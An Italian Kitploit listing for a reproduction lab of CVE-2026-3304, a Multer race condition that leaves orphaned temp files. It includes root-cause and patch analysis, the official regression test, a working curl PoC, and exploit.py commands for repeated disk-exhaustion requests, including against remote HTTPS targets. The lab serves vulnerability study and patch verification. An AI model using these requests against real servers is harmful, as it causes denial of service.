Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-3304 — # Laboratorio di riproduzione per CVE-2026-3304, una condizione di gara in fileFilter asincrono di Multer che causa l'esaurimento del disco tramite file temporanei orfani. Include server Docker vulnerabili e corretti, script di exploit e analisi della causa principale. | Kitploit
Strumenti/GitHubGitHub/mkway/cve-2026-3304
Analisi delle VulnerabilitàExploitSicurezza WebApprendimento e FormazioneLab e Pratica
GitHubmkway/cve-2026-3304

CVE-2026-3304

# Laboratorio di riproduzione per CVE-2026-3304, una condizione di gara in fileFilter asincrono di Multer che causa l'esaurimento del disco tramite file temporanei orfani. Include server Docker vulnerabili e corretti, script di exploit e analisi della causa principale.

Vedi Repository
5 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Ambiente di Laboratorio CVE-2026-3304

Solo per scopi educativi e di ricerca. Attaccare sistemi senza autorizzazione è illegale.

Questo ambiente di laboratorio è stato costruito analizzando la patch di Multer 2.1.0 e il suo codice di test ufficiale. Il server vulnerabile replica le condizioni esatte descritte nel test della patch, e il server corretto esegue Multer 2.1.0 per confermare che la correzione funziona.

Panoramica della Vulnerabilità

CampoDettagli
CVECVE-2026-3304
TargetMulter < 2.1.0 (middleware multipart/form-data di Node.js)
TipoDoS — File Orfano (pulizia incompleta dei file temporanei)
CWECWE-459: Pulizia Incompleta
CVSS 4.08.7 ALTO
Versione CorrettaMulter 2.1.0

Una richiesta multipart malformata con un attributo name mancante su una parte di file fa sì che Multer crei un file temporaneo su disco senza mai pulirlo. Richieste ripetute esauriscono lo spazio su disco, provocando un Denial of Service.


Analisi della Causa Radice

La vulnerabilità ha origine nel flusso di gestione del callback fileFilter all'interno di multer/lib/make-middleware.js.

Problema principale: temporizzazione di setImmediate + controllo errorOccured mancante

Quando Multer trasmette e analizza una richiesta multipart parte per parte, si verifica la seguente sequenza:

root@kitploit:~
[Sequenza degli eventi di parsing — versione vulnerabile]

1. Intestazione della Parte 1 ricevuta
   → fileFilter(req, file, cb) chiamato
   → setImmediate(cb) → callback rimandato al tick successivo del ciclo di eventi

2. Corpo della Parte 1 ricevuto
   → /tmp/uploads/<uuid> aperto, i dati iniziano a essere scritti

3. Intestazione della Parte 2 ricevuta (attributo name mancante)
   → Multer rileva 'name mancante'
   → errorOccured = true  ← flag di errore impostato
   → abortWithCode('LIMIT_FIELD_KEY') chiamato → HTTP 500 pianificato

4. Il callback di setImmediate viene eseguito (tick successivo del ciclo di eventi)
   → risultato di fileFilter: includeFile = true (flusso normale)
   → [BUG] il flag errorOccured NON viene controllato
   → storage._handleFile() chiamato → file temporaneo salvato su disco

5. Risposta HTTP 500 inviata
   → il file temporaneo rimane su disco (file orfano)

Codice vulnerabile (make-middleware.js — Multer < 2.1.0)

root@kitploit:~
// callback di completamento di fileFilter (rimandato tramite setImmediate)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  // ❌ errorOccured non viene mai controllato qui
  //    anche se è stato impostato un errore durante il parsing della Parte 2, l'esecuzione continua
  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    // il file temporaneo viene registrato in uploadedFiles e lasciato su disco
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

Perché setImmediate è il problema?

Avvolgere fileFilter con setImmediate rimanda il suo callback al tick successivo del ciclo di eventi. In quella finestra, busboy (il parser multipart) continua ad analizzare le intestazioni della parte successiva, scopre il name mancante e imposta errorOccured = true. Quando il callback riprende, lo stato di errore è già impostato — ma il codice non lo controlla mai, quindi storage._handleFile viene chiamato incondizionatamente e il file temporaneo viene scritto su disco.


Analisi del Codice della Patch (Multer 2.1.0)

Commit di correzione: 739919097d

Un singolo controllo if (errorOccured) è stato aggiunto immediatamente dopo l'ingresso del callback fileFilter, prima che venga raggiunto storage._handleFile.

root@kitploit:~
// callback di completamento di fileFilter (Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  // ✅ [PATCH] Controlla errorOccured prima di procedere
  if (errorOccured) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()   // drena lo stream — nessun file scritto su disco
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

Riepilogo delle modifiche

ElementoVulnerabile (< 2.1.0)Corretto (2.1.0)
Controllo errorOccured❌ Non controllato✅ Controllato immediatamente all'ingresso del callback
_handleFile chiamato in caso di erroreSìBloccato
Pulizia del file temporaneo❌ Mancante✅ Tramite fileStream.resume()
File orfani per richiesta10

Perché fileStream.resume() pulisce: Chiamare fileStream.resume() drena e scarta lo stream senza passarlo a DiskStorage, quindi nessun file viene scritto e nulla rimane su disco.


Codice di Test Ufficiale della Patch

Il team di Multer ha incluso il seguente test Mocha nella patch 2.1.0 per verificare la correzione. Questo test è diventato il modello per questo ambiente di laboratorio — il server vulnerabile replica la configurazione esatta qui descritta (setImmediate fileFilter + richiesta multipart malformata), e il comportamento atteso viene verificato sia sulla versione vulnerabile che su quella corretta.

root@kitploit:~
/* eslint-env mocha */

var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')

var express = require('express')
var multer = require('../')

describe('pulizia async fileFilter', function () {
  it('non lascia file orfani quando la richiesta viene interrotta con nome campo mancante', function (done) {
    var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
    var app = express()

    // Trigger della vulnerabilità: fileFilter async tramite setImmediate
    var upload = multer({
      dest: uploadDir,
      fileFilter: function (req, file, cb) {
        setImmediate(function () { cb(null, true) })
      }
    })

    app.post('/upload', upload.any(), function (req, res) {
      res.json({ success: true })
    })

    // Gestore degli errori: risponde con 400
    app.use(function (err, req, res, next) {
      res.status(400).json({ error: err.code })
    })

    var server = app.listen(0, function () {
      var port = server.address().port
      var boundary = 'TestBound'

      // Corpo dannoso: Parte 1 valida, Parte 2 con attributo name mancante
      var body =
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
        'Content-Type: application/octet-stream\r\n\r\nORPHAN FILE DATA\r\n' +
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; filename="b.bin"\r\n' +   // ← name= mancante
        'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
        '--' + boundary + '--\r\n'

      var req = http.request({
        hostname: 'localhost',
        port: port,
        path: '/upload',
        method: 'POST',
        headers: {
          'Content-Type': 'multipart/form-data; boundary=' + boundary,
          'Content-Length': Buffer.byteLength(body)
        }
      }, function (res) {
        res.resume()
        res.on('end', function () {
          setTimeout(function () {
            var files = fs.readdirSync(uploadDir)

            // Assert 1: il server deve rispondere con 400 (errore)
            assert.strictEqual(res.statusCode, 400)

            // Assert 2: nessun file orfano deve rimanere su disco
            assert.strictEqual(files.length, 0)

            server.close(done)
          }, 500)
        })
      })

      req.write(body)
      req.end()
    })
  })
})
AssertSignificato
res.statusCode === 400Multer rifiuta correttamente la richiesta malformata
files.length === 0Nessun file orfano lasciato su disco (patch verificata)

Su una versione vulnerabile (< 2.1.0), files.length è uguale a 1 e l'assert fallisce.


Implementazione del Laboratorio

Questo laboratorio rispecchia direttamente la configurazione del test della patch sopra descritta.

Server vulnerabile (Dockerfile + app/server.js) esegue Multer 2.0.2 con un fileFilter async che utilizza setImmediate — la condizione di trigger esatta del test della patch:

root@kitploit:~
// app/server.js — replica il trigger della vulnerabilità del test della patch
const upload = multer({
  dest: UPLOAD_DIR,
  fileFilter: function (req, file, cb) {
    setImmediate(function () {   // ← rimanda il callback, creando la condizione di race
      cb(null, true)
    })
  }
})

Server corretto (Dockerfile.patched) esegue lo stesso server.js ma installa Multer 2.1.0, dove il controllo errorOccured è presente — corrispondendo allo stato di superamento atteso del test della patch.

ServerPortaMulterComportamento atteso
Vulnerabile30002.0.2File orfano creato per ogni richiesta malformata
Corretto30012.1.0Nessun file orfano — la pulizia funziona correttamente

Nota: Passare fileFilter a sincrono (rimuovendo setImmediate) previene i file orfani anche su Multer < 2.1.0. La vulnerabilità richiede entrambe le condizioni: un fileFilter async e il controllo errorOccured mancante.


Attacco: Richiesta POST Malformata

L'attacco invia una POST multipart/form-data in cui la seconda parte manca dell'attributo name richiesto.

Richiesta normale (sicura)

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream

<dati binari>
------Boundary--

Richiesta dannosa (attiva CVE-2026-3304)

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="legit.bin"   ← Parte 1: valida, file temporaneo creato qui
Content-Type: application/octet-stream

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------Boundary
Content-Disposition: form-data; filename="malformed.bin"            ← Parte 2: name= mancante!
Content-Type: application/octet-stream

x
------Boundary--

Esecuzione lato server:

root@kitploit:~
1. Arriva la Parte 1  →  Multer apre /tmp/uploads/<uuid> e inizia a scrivere
2. fileFilter chiamato con setImmediate  →  callback rimandato
3. Arriva la Parte 2  →  Multer rileva il name mancante  →  errorOccured = true
4. setImmediate si attiva  →  il callback di fileFilter viene eseguito
5. [BUG] errorOccured non controllato  →  storage._handleFile chiamato
6. File temporaneo scritto su disco
7. HTTP 500 restituito
8. /tmp/uploads/<uuid> rimane su disco per sempre  ← file orfano

Risposta del server:

root@kitploit:~
HTTP/1.1 500 Internal Server Error

MulterError: Field name missing
    at abortWithCode (/app/node_modules/multer/lib/make-middleware.js:...)

PoC con curl

root@kitploit:~
curl -s -X POST http://localhost:3000/upload \
  -H "Content-Type: multipart/form-data; boundary=----Boundary" \
  --data-binary $'------Boundary\r\nContent-Disposition: form-data; name="file"; filename="legit.bin"\r\nContent-Type: application/octet-stream\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n------Boundary\r\nContent-Disposition: form-data; filename="malformed.bin"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n------Boundary--\r\n'

Controlla i file orfani immediatamente dopo:

root@kitploit:~
curl http://localhost:3000/status

Configurazione

Requisiti

  • Docker, Docker Compose
  • Python 3 + requests (pip install requests)

Avvio

root@kitploit:~
# Avvia i server vulnerabile (porta 3000) + corretto (porta 3001)
docker compose up -d --build

# Verifica che entrambi siano in esecuzione
curl http://localhost:3000/status
curl http://localhost:3001/status

Utilizzo

Passo 1 — Singola richiesta malformata (test rapido)

root@kitploit:~
bash exploit/curl_poc.sh

Passo 2 — Exploit DoS

root@kitploit:~
# Default (50 richieste)
python3 exploit/exploit.py

# Attacco pesante (500 richieste, payload da 5 KB ciascuna)
python3 exploit/exploit.py --count 500 --size 5120

# Contro target HTTPS con certificato autofirmato
python3 exploit/exploit.py --target https://target.example.com --no-verify

# Confronto con la versione corretta
python3 exploit/exploit.py --target http://localhost:3001 --count 50

Passo 3 — Monitoraggio in tempo reale (terminale separato)

root@kitploit:~
bash exploit/monitor.sh

Passo 4 — Reimposta la directory di upload

root@kitploit:~
curl -X DELETE http://localhost:3000/reset

Risultati Attesi

TargetRisultato
Server vulnerabile (3000)File orfano creato per ogni richiesta, il disco cresce continuamente
Server corretto (3001)0 file orfani indipendentemente dal numero di richieste

Risultati dei Test Verificati

Output dell'exploit (server vulnerabile, 50 richieste × 2 KB)

root@kitploit:~
[*] CVE-2026-3304 Exploit DoS File Orfano Multer
[*] Target : http://localhost:3000/upload
[*] Richieste: 50  |  Ritardo: 0.0s  |  Payload: 2048 byte
------------------------------------------------------------
[*] Prima dell'attacco — file orfani: 0

[  10/50] risposta 500: True | file orfani: 10  | disco: 20.00 KB
[  20/50] risposta 500: True | file orfani: 20  | disco: 40.00 KB
[  30/50] risposta 500: True | file orfani: 30  | disco: 60.00 KB
[  40/50] risposta 500: True | file orfani: 40  | disco: 80.00 KB
[  50/50] risposta 500: True | file orfani: 50  | disco: 100.00 KB

============================================================
[Risultato] Richieste totali: 50  |  Attivate: 50
[Risultato] File orfani: 0 -> 50
[Risultato] Disco sprecato:    100.00 KB

[!] VULNERABILE: 50 file temporanei lasciati su disco, mai puliti
[!] Attacchi ripetuti esauriranno lo spazio su disco (DoS)

Utilizzo effettivo del disco verificato all'interno del container

root@kitploit:~
$ docker exec cve-2026-3304-target df -h /tmp/uploads

Prima dell'attacco:
Filesystem   Size    Used  Available  Use%  Mounted on
tmpfs        50.0M   0     50.0M      0%    /tmp/uploads

Dopo 200 richieste × 5 KB:
Filesystem   Size    Used  Available  Use%  Mounted on
tmpfs        50.0M   1.6M  48.4M      3%    /tmp/uploads

$ docker exec cve-2026-3304-target du -sh /tmp/uploads
1.6M    /tmp/uploads

$ docker exec cve-2026-3304-target ls /tmp/uploads | wc -l
200

Ogni file orfano rimane su disco in modo permanente finché il server non viene riavviato o pulito manualmente. Il tmpfs del container è limitato a 50 MB — raggiungere il limite causa il fallimento del server su nuovi upload.

Due esecuzioni senza reset — i file si accumulano

root@kitploit:~
Esecuzione 1:  file orfani   0  ->  50   (100 KB)
Esecuzione 2:  file orfani  50  -> 100   (200 KB)
        ↑ i file dell'esecuzione 1 sono ancora presenti — mai puliti

Server corretto (Multer 2.1.0) — stesso attacco, impatto zero

root@kitploit:~
[  10/50] risposta 500: True | file orfani: 0  | disco: 0.00 KB
[  20/50] risposta 500: True | file orfani: 0  | disco: 0.00 KB
[  30/50] risposta 500: True | file orfani: 0  | disco: 0.00 KB
[  40/50] risposta 500: True | file orfani: 0  | disco: 0.00 KB
[  50/50] risposta 500: True | file orfani: 0  | disco: 0.00 KB

[*] Nessun file orfano — la versione corretta pulisce correttamente

Smontaggio

root@kitploit:~
docker compose down

Riferimenti

  • Avviso GitHub GHSA-xf7r-hgr6-v32p
  • Commit di correzione 739919097d
  • NVD CVE-2026-3304
Scarica lo strumento